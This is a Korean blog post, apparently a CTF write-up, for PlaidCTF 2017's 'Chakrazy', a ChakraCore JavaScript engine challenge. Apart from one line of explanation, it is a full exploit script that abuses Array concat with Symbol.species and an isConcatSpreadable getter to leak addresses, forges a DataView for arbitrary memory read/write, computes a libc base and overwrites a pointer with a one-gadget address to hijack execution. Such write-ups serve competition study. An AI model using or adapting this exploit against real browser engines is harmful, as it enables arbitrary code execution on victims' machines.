ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • PCTF 2017 Chakrazy
    Pwnable/CTF 2018. 12. 25. 00:14

    FakeDataview 만들어서 익스하면된다.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    function set_dv(arr,lo,hi) {
    arr[0= 56
    arr[4= (lo - 574280//+0x3c000
    arr[5= hi
    arr[10= lo
    arr[11= hi 
    arr[12= lo //ArrayBuffer
    arr[13= hi 
    arr[14= lo //buffer
    arr[15= hi
    }
     
    function leak(addr) {
        var a = [1,2,3,4];
        var b = [5,6,7,8];
        var c = new Function();
        c[Symbol.species] = function() {
                p = [9,10,11,12];
                return p;
        };
        a.constructor = c;
        b.__defineGetter__(Symbol.isConcatSpreadable,function() {
                p[0= addr;
                b[0= addr;
                return true;
        });
        return a.concat(b);
    }
     
    function leak2(addr) {
            var a = [1,2,3,4];
            var b = [5,6,7,8];
            var c = new Function();
            c[Symbol.species] = function() {
                    p = [9,10,11,12];
                    return p;
            };
            a.constructor = c;
            b.__defineGetter__(Symbol.isConcatSpreadable,function() {
                    p[0= addr;
                    b[0= addr;
                    return true;
            });
            return a.concat(b);
    }
     
    var result = new Uint32Array(2);
    var ab_one = new ArrayBuffer(8);
    var dv_one = new DataView(ab_one);
    var ab_temp = leak2(ab_one);
     
    result[0= ab_temp[0];
    result[1= ab_temp[1];
    te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
    console.log(te);
     
    var dv = [0];
    for(var i=0;i<16;i++)
            dv[i] = 0x0;
     
    var dv_temp = leak(dv);
    dv_temp[0= dv_temp[0- 0x84548+0x30//- 0x90518
    result[0= dv_temp[0];
    result[1= dv_temp[1];
    var te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
    console.log(te);
    dv[0= 0;
    dv[2= dv_temp[0]+0x10;
    dv[3= dv_temp[1];
    dv[4= 0x38;
    dv[6= dv_temp[0];
    dv[7= dv_temp[1];
    dv[8= 0x30;
    dv[10= ab_temp[0];
    dv[11= ab_temp[1];
    dv[14= (dv_temp[0]+0x84548-0x30);
    dv[15= dv_temp[1];
     
    var a_attack = [];
    for(var i=0;i<0x10;i++)
        a_attack[i] = i;
     
    var b = [dv_temp[0],dv_temp[1]];
    var c = new Function();
    c[Symbol.species] = function() {
            p = [9,10,11,12];
            return p;
    };
    a_attack.constructor = c;
    b.__defineGetter__(Symbol.isConcatSpreadable,function() {
            p[0= {};
            return true;
    });
    var temp = (a_attack.concat(b))[8];
    var clib = [0,0];
    clib[0= dv_one.getUint32.call(temp,0,true- 0xd5db40;
    clib[1= dv_one.getUint32.call(temp,4,true);
    //libc = clib[0] + 0x1628000
    var te = '0x'+(clib[1].toString(16)) + (clib[0]).toString(16)
    console.log(te);
    dv_one.setUint32.call(temp,16,clib[0]+0x1628000+0xf1147,true);
    dv_one.setUint32.call(temp,20,clib[1],true);
    dv_one.setUint32.call(temp,0,dv_temp[0]+0x84548-0x30+16-0xa0,true);
    dv.hasOwnProperty('AAAA');
    cs

     

    'Pwnable > CTF' 카테고리의 다른 글

    PCTF 2018 d8-dist  (0) 2018.12.22
    SECCON 2017 vm_no_fun  (0) 2018.08.15
    Codegate 2018 7ameBOX1  (0) 2018.05.21
    RCTF 2018 Write up  (2) 2018.05.21
    Secuinside 2017 vvv  (0) 2018.05.13
Designed by Tistory.